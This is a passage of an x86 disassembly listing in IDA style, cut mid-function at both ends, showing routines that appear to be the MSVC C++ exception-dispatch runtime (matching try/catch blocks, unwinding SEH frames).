mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42CC6E
mov ecx, [ebp+arg_1C]
and ecx, 0FFh
push ecx
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call [ebp+var_4]
add esp, 20h
jmp short loc_42CC9B
; ---------------------------------------------------------------------------
loc_42CC6E: ; CODE XREF: sub_42CBB0+70j
; sub_42CBB0+7Cj ...
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov dl, byte ptr [ebp+arg_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42CCA0
add esp, 20h
loc_42CC96: ; CODE XREF: sub_42CBB0+65j
mov eax, 1
loc_42CC9B: ; CODE XREF: sub_42CBB0+59j
; sub_42CBB0+BCj
mov esp, ebp
pop ebp
retn
sub_42CBB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CCA0 proc near ; CODE XREF: sub_42CBB0+DEp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_8], 0
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0FFFFFFFFh
jl short loc_42CCCD
mov edx, [ebp+arg_10]
mov eax, [ebp+var_4]
cmp eax, [edx+4]
jge short loc_42CCCD
mov [ebp+var_28], 0
jmp short loc_42CCD5
; ---------------------------------------------------------------------------
loc_42CCCD: ; CODE XREF: sub_42CCA0+17j
; sub_42CCA0+22j
call sub_42D910
mov [ebp+var_28], eax
loc_42CCD5: ; CODE XREF: sub_42CCA0+2Bj
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0E06D7363h
jnz loc_42CD95
mov edx, [ebp+arg_0]
cmp dword ptr [edx+10h], 3
jnz loc_42CD95
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jnz loc_42CD95
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+1Ch], 0
jnz loc_42CD95
call sub_428EE0
cmp dword ptr [eax+6Ch], 0
jnz short loc_42CD1E
jmp loc_42CF3C
; ---------------------------------------------------------------------------
loc_42CD1E: ; CODE XREF: sub_42CCA0+77j
call sub_428EE0
mov edx, [eax+6Ch]
mov [ebp+arg_0], edx
call sub_428EE0
mov eax, [eax+70h]
mov [ebp+arg_8], eax
mov [ebp+var_8], 1
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_432F80
add esp, 8
test eax, eax
jz short loc_42CD53
mov [ebp+var_2C], 0
jmp short loc_42CD5B
; ---------------------------------------------------------------------------
loc_42CD53: ; CODE XREF: sub_42CCA0+A8j
call sub_42D910
mov [ebp+var_2C], eax
loc_42CD5B: ; CODE XREF: sub_42CCA0+B1j
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_42CD8E
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 3
jnz short loc_42CD8E
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_42CD8E
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1Ch], 0
jnz short loc_42CD8E
call sub_42D910
mov [ebp+var_30], eax
jmp short loc_42CD95
; ---------------------------------------------------------------------------
loc_42CD8E: ; CODE XREF: sub_42CCA0+C4j
; sub_42CCA0+CDj ...
mov [ebp+var_30], 0
loc_42CD95: ; CODE XREF: sub_42CCA0+3Ej
; sub_42CCA0+4Bj ...
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 0E06D7363h
jnz loc_42CEFC
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 3
jnz loc_42CEFC
mov edx, [ebp+arg_0]
cmp dword ptr [edx+14h], 19930520h
jnz loc_42CEFC
lea eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_14]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_4206A0
add esp, 14h
mov [ebp+var_10], eax
jmp short loc_42CDF4
; ---------------------------------------------------------------------------
loc_42CDE2: ; CODE XREF: sub_42CCA0:loc_42CE15j
; sub_42CCA0:loc_42CEDAj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 14h
mov [ebp+var_10], eax
loc_42CDF4: ; CODE XREF: sub_42CCA0+140j
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_C]
jnb loc_42CEDF
mov edx, [ebp+var_10]
mov eax, [edx]
cmp eax, [ebp+var_4]
jg short loc_42CE15
mov ecx, [ebp+var_10]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jle short loc_42CE17
loc_42CE15: ; CODE XREF: sub_42CCA0+168j
jmp short loc_42CDE2
; ---------------------------------------------------------------------------
loc_42CE17: ; CODE XREF: sub_42CCA0+173j
mov eax, [ebp+var_10]
mov ecx, [eax+10h]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
mov [ebp+var_24], eax
jmp short loc_42CE3D
; ---------------------------------------------------------------------------
loc_42CE2B: ; CODE XREF: sub_42CCA0:loc_42CED5j
mov ecx, [ebp+var_24]
sub ecx, 1
mov [ebp+var_24], ecx
mov edx, [ebp+var_1C]
add edx, 10h
mov [ebp+var_1C], edx
loc_42CE3D: ; CODE XREF: sub_42CCA0+189j
cmp [ebp+var_24], 0
jle loc_42CEDA
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
add edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
mov eax, [edx]
mov [ebp+var_20], eax
jmp short loc_42CE78
; ---------------------------------------------------------------------------
loc_42CE66: ; CODE XREF: sub_42CCA0+1FBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+var_18]
add edx, 4
mov [ebp+var_18], edx
loc_42CE78: ; CODE XREF: sub_42CCA0+1C4j
cmp [ebp+var_20], 0
jle short loc_42CED5
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+var_18]
mov eax, [edx]
push eax
mov ecx, [ebp+var_1C]
push ecx
call sub_42D060
add esp, 0Ch
test eax, eax
jnz short loc_42CE9D
jmp short loc_42CE66
; ---------------------------------------------------------------------------
loc_42CE9D: ; CODE XREF: sub_42CCA0+1F9j
mov dl, [ebp+var_8]
push edx
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_18]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42D250
add esp, 2Ch
jmp short loc_42CF3A
; ---------------------------------------------------------------------------
loc_42CED5: ; CODE XREF: sub_42CCA0+1DCj
jmp loc_42CE2B
; ---------------------------------------------------------------------------
loc_42CEDA: ; CODE XREF: sub_42CCA0+1A1j
; sub_42CCA0:loc_42CF3Aj
jmp loc_42CDE2
; ---------------------------------------------------------------------------
loc_42CEDF: ; CODE XREF: sub_42CCA0+15Aj
mov edx, [ebp+arg_14]
and edx, 0FFh
test edx, edx
jz short loc_42CEFA
push 1
mov eax, [ebp+arg_0]
push eax
call sub_42D730
add esp, 8
loc_42CEFA: ; CODE XREF: sub_42CCA0+24Aj
jmp short loc_42CF38
; ---------------------------------------------------------------------------
loc_42CEFC: ; CODE XREF: sub_42CCA0+FEj
; sub_42CCA0+10Bj ...
mov ecx, [ebp+arg_14]
and ecx, 0FFh
test ecx, ecx
jnz short loc_42CF33
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42CF40
add esp, 20h
jmp short loc_42CF38
; ---------------------------------------------------------------------------
loc_42CF33: ; CODE XREF: sub_42CCA0+267j
call sub_42D860
loc_42CF38: ; CODE XREF: sub_42CCA0:loc_42CEFAj
; sub_42CCA0+291j
jmp short loc_42CF3C
; ---------------------------------------------------------------------------
loc_42CF3A: ; CODE XREF: sub_42CCA0+233j
jmp short loc_42CEDA
; ---------------------------------------------------------------------------
loc_42CF3C: ; CODE XREF: sub_42CCA0+79j
; sub_42CCA0:loc_42CF38j
mov esp, ebp
pop ebp
retn
sub_42CCA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CF40 proc near ; CODE XREF: sub_42CCA0+289p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 0Ch
call sub_428EE0
cmp dword ptr [eax+68h], 0
jz short loc_42CF7E
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_420540
add esp, 1Ch
test eax, eax
jz short loc_42CF7E
jmp loc_42D051
; ---------------------------------------------------------------------------
loc_42CF7E: ; CODE XREF: sub_42CF40+Fj
; sub_42CF40+37j
lea ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
call sub_4206A0
add esp, 14h
mov [ebp+var_8], eax
jmp short loc_42CFB1
; ---------------------------------------------------------------------------
loc_42CF9F: ; CODE XREF: sub_42CF40:loc_42D009j
; sub_42CF40+10Cj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_8]
add ecx, 14h
mov [ebp+var_8], ecx
loc_42CFB1: ; CODE XREF: sub_42CF40+5Dj
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jnb loc_42D051
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_14]
cmp ecx, [eax]
jl short loc_42D009
mov edx, [ebp+var_8]
mov eax, [ebp+arg_14]
cmp eax, [edx+4]
jg short loc_42D009
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
sub edx, 1
shl edx, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
cmp dword ptr [ecx+edx+4], 0
jz short loc_42D00B
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
mov eax, [edx+eax+4]
movsx ecx, byte ptr [eax+8]
test ecx, ecx
jz short loc_42D00B
loc_42D009: ; CODE XREF: sub_42CF40+85j
; sub_42CF40+90j
jmp short loc_42CF9F
; ---------------------------------------------------------------------------
loc_42D00B: ; CODE XREF: sub_42CF40+A9j
; sub_42CF40+C7j
push 1
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_8]
push ecx
push 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
add edx, eax
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42D250
add esp, 2Ch
jmp loc_42CF9F
; ---------------------------------------------------------------------------
loc_42D051: ; CODE XREF: sub_42CF40+39j
; sub_42CF40+77j
mov esp, ebp
pop ebp
retn
sub_42CF40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D060 proc near ; CODE XREF: sub_42CCA0+1EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jz short loc_42D07B
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jnz short loc_42D085
loc_42D07B: ; CODE XREF: sub_42D060+Bj
mov eax, 1
jmp loc_42D112
; ---------------------------------------------------------------------------
loc_42D085: ; CODE XREF: sub_42D060+19j
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ecx+4]
cmp eax, [edx+4]
jz short loc_42D0B7
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
add ecx, 8
push ecx
call sub_41F7E0
add esp, 8
test eax, eax
jz short loc_42D0B7
xor eax, eax
jmp short loc_42D112
; ---------------------------------------------------------------------------
loc_42D0B7: ; CODE XREF: sub_42D060+31j
; sub_42D060+51j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 2
test eax, eax
jz short loc_42D0CF
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 8
test edx, edx
jz short loc_42D108
loc_42D0CF: ; CODE XREF: sub_42D060+61j
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_42D0E7
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 1
test eax, eax
jz short loc_42D108
loc_42D0E7: ; CODE XREF: sub_42D060+79j
mov ecx, [ebp+arg_8]
mov edx, [ecx]
and edx, 2
test edx, edx
jz short loc_42D0FF
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 2
test ecx, ecx
jz short loc_42D108
loc_42D0FF: ; CODE XREF: sub_42D060+91j
mov [ebp+var_4], 1
jmp short loc_42D10F
; ---------------------------------------------------------------------------
loc_42D108: ; CODE XREF: sub_42D060+6Dj
; sub_42D060+85j ...
mov [ebp+var_4], 0
loc_42D10F: ; CODE XREF: sub_42D060+A6j
mov eax, [ebp+var_4]
loc_42D112: ; CODE XREF: sub_42D060+20j
; sub_42D060+55j
mov esp, ebp
pop ebp
retn
sub_42D060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D120 proc near ; CODE XREF: _0:0042047Ap
; sub_42CBB0+4Cp ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D328
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov [ebp+var_1C], ecx
loc_42D14F: ; CODE XREF: sub_42D120+BFj
mov edx, [ebp+var_1C]
cmp edx, [ebp+arg_C]
jz loc_42D1E4
cmp [ebp+var_1C], 0FFFFFFFFh
jle short loc_42D175
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_1C]
cmp ecx, [eax+4]
jge short loc_42D175
mov [ebp+var_20], 0
jmp short loc_42D17D
; ---------------------------------------------------------------------------
loc_42D175: ; CODE XREF: sub_42D120+3Fj
; sub_42D120+4Aj
call sub_42D910
mov [ebp+var_20], eax
loc_42D17D: ; CODE XREF: sub_42D120+53j
mov [ebp+var_4], 0
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
cmp dword ptr [eax+ecx*8+4], 0
jz short loc_42D1B0
push 103h
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
mov edx, [ebp+var_1C]
mov eax, [ecx+edx*8+4]
push eax
call sub_42D810
loc_42D1B0: ; CODE XREF: sub_42D120+72j
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42D1D0
; ---------------------------------------------------------------------------
mov ecx, [ebp+var_14]
push ecx
call sub_42D220
add esp, 4
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 0FFFFFFFFh
loc_42D1D0: ; CODE XREF: sub_42D120+97j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
mov edx, [eax+ecx*8]
mov [ebp+var_1C], edx
jmp loc_42D14F
; ---------------------------------------------------------------------------
loc_42D1E4: ; CODE XREF: sub_42D120+35j
mov eax, [ebp+var_1C]
cmp eax, [ebp+arg_C]
jnz short loc_42D1F5
mov [ebp+var_24], 0
jmp short loc_42D1FD
; ---------------------------------------------------------------------------
loc_42D1F5: ; CODE XREF: sub_42D120+CAj
call sub_42D910
mov [ebp+var_24], eax
loc_42D1FD: ; CODE XREF: sub_42D120+D3j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_1C]
mov [ecx+8], edx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42D120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D220 proc near ; CODE XREF: sub_42D120+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0E06D7363h
jz short loc_42D241
jmp short loc_42D246
; ---------------------------------------------------------------------------
loc_42D241: ; CODE XREF: sub_42D220+1Dj
call sub_42D860
loc_42D246: ; CODE XREF: sub_42D220+1Fj
xor eax, eax
mov esp, ebp
pop ebp
retn
sub_42D220 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D250 proc near ; CODE XREF: sub_42CCA0+22Bp
; sub_42CF40+104p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_18], 0
jz short loc_42D27A
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42D4B0
add esp, 10h
loc_42D27A: ; CODE XREF: sub_42D250+10j
cmp [ebp+arg_24], 0
jnz short loc_42D28F
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_4203C0
jmp short loc_42D29C
; ---------------------------------------------------------------------------
loc_42D28F: ; CODE XREF: sub_42D250+2Ej
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_24]
push edx
call sub_4203C0
loc_42D29C: ; CODE XREF: sub_42D250+3Dj
mov eax, [ebp+arg_1C]
mov ecx, [eax]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_42D120
add esp, 10h
mov edx, [ebp+arg_1C]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
push 100h
mov edx, [ebp+arg_20]
push edx
mov eax, [ebp+arg_14]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42D310
add esp, 1Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_42D303
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_420350
loc_42D303: ; CODE XREF: sub_42D250+A4j
mov esp, ebp
pop ebp
retn
sub_42D250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D310 proc near ; CODE XREF: sub_42D250+95p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
; FUNCTION CHUNK AT 0042D44B SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D338
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
mov [ebp+var_24], 0
mov ecx, [ebp+arg_4]
mov edx, [ecx-4]
mov [ebp+var_28], edx
call sub_428EE0
mov eax, [eax+6Ch]
mov [ebp+var_1C], eax
call sub_428EE0
mov ecx, [eax+70h]
mov [ebp+var_20], ecx
call sub_428EE0
mov edx, [ebp+arg_0]
mov [eax+6Ch], edx
call sub_428EE0
mov ecx, [ebp+arg_8]
mov [eax+70h], ecx
mov [ebp+var_4], 0
mov [ebp+var_4], 1
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_420490
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], 0
jmp short loc_42D3DF
; ---------------------------------------------------------------------------
loc_42D3AE: ; DATA XREF: _1:0043D348o
mov ecx, [ebp+var_14]
push ecx
call sub_42D460
add esp, 4
retn
; ---------------------------------------------------------------------------
loc_42D3BB: ; DATA XREF: _1:0043D34Co
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
push 0FFFFFFFFh
mov [ebp+var_30], 0
lea edx, [ebp+var_10]
push edx
call sub_420772
add esp, 8
mov eax, [ebp+var_30]
jmp short loc_42D44E
; ---------------------------------------------------------------------------
loc_42D3DF: ; CODE XREF: sub_42D310+9Cj
mov [ebp+var_4], 0FFFFFFFFh
call sub_42D3ED
jmp short loc_42D44B
sub_42D310 endp
; =============== S U B R O U T I N E =======================================
sub_42D3ED proc near ; CODE XREF: sub_42D310+D6p
; DATA XREF: _1:0043D340o
mov eax, [ebp+0Ch]
mov ecx, [ebp-28h]
mov [eax-4], ecx
call sub_428EE0
mov edx, [ebp-1Ch]
mov [eax+6Ch], edx
call sub_428EE0
mov ecx, [ebp-20h]
mov [eax+70h], ecx
mov edx, [ebp+8]
cmp dword ptr [edx], 0E06D7363h
jnz short locret_42D44A
mov eax, [ebp+8]
cmp dword ptr [eax+10h], 3
jnz short locret_42D44A
mov ecx, [ebp+8]
cmp dword ptr [ecx+14h], 19930520h
jnz short locret_42D44A
cmp dword ptr [ebp-24h], 0
jnz short locret_42D44A
cmp dword ptr [ebp-2Ch], 0
jz short locret_42D44A
call sub_4207DA
push eax
mov edx, [ebp+8]
push edx
call sub_42D730
add esp, 8
locret_42D44A: ; CODE XREF: sub_42D3ED+28j
; sub_42D3ED+31j ...
retn
sub_42D3ED endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D310
loc_42D44B: ; CODE XREF: sub_42D310+DBj
mov eax, [ebp+var_2C]
loc_42D44E: ; CODE XREF: sub_42D310+CDj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42D310
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D460 proc near ; CODE XREF: sub_42D310+A2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_42D49C
mov eax, [ebp+var_4]
cmp dword ptr [eax+10h], 3
jnz short loc_42D49C
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_42D49C
mov edx, [ebp+var_4]
cmp dword ptr [edx+1Ch], 0
jnz short loc_42D49C
mov eax, 1
jmp short loc_42D49E
; ---------------------------------------------------------------------------
loc_42D49C: ; CODE XREF: sub_42D460+15j
; sub_42D460+1Ej ...
xor eax, eax
loc_42D49E: ; CODE XREF: sub_42D460+3Aj
mov esp, ebp
pop ebp
retn
sub_42D460 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D4B0 proc near ; CODE XREF: sub_42D250+22p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D350
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jz short loc_42D4F6
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jz short loc_42D4F6
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+8], 0
jnz short loc_42D4FB
loc_42D4F6: ; CODE XREF: sub_42D4B0+2Dj
; sub_42D4B0+3Bj
jmp loc_42D71A
; ---------------------------------------------------------------------------
loc_42D4FB: ; CODE XREF: sub_42D4B0+44j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+arg_4]
lea edx, [ecx+eax+0Ch]
mov [ebp+var_1C], edx
mov [ebp+var_4], 0
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 8
test ecx, ecx
jz short loc_42D576
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_432F80
add esp, 8
test eax, eax
jz short loc_42D56C
push 1
mov ecx, [ebp+var_1C]
push ecx
call sub_432FB0
add esp, 8
test eax, eax
jz short loc_42D56C
mov edx, [ebp+var_1C]
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
mov [edx], ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
push ecx
call sub_42D7C0
add esp, 8
mov edx, [ebp+var_1C]
mov [edx], eax
jmp short loc_42D571
; ---------------------------------------------------------------------------
loc_42D56C: ; CODE XREF: sub_42D4B0+81j
; sub_42D4B0+93j
call sub_42D910
loc_42D571: ; CODE XREF: sub_42D4B0+BAj
jmp loc_42D703
; ---------------------------------------------------------------------------
loc_42D576: ; CODE XREF: sub_42D4B0+6Cj
mov eax, [ebp+arg_C]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_42D5FA
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_432F80
add esp, 8
test eax, eax
jz short loc_42D5F0
push 1
mov ecx, [ebp+var_1C]
push ecx
call sub_432FB0
add esp, 8
test eax, eax
jz short loc_42D5F0
mov edx, [ebp+arg_C]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_420840
add esp, 0Ch
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+14h], 4
jnz short loc_42D5EE
mov edx, [ebp+var_1C]
cmp dword ptr [edx], 0
jz short loc_42D5EE
mov eax, [ebp+arg_C]
add eax, 8
push eax
mov ecx, [ebp+var_1C]
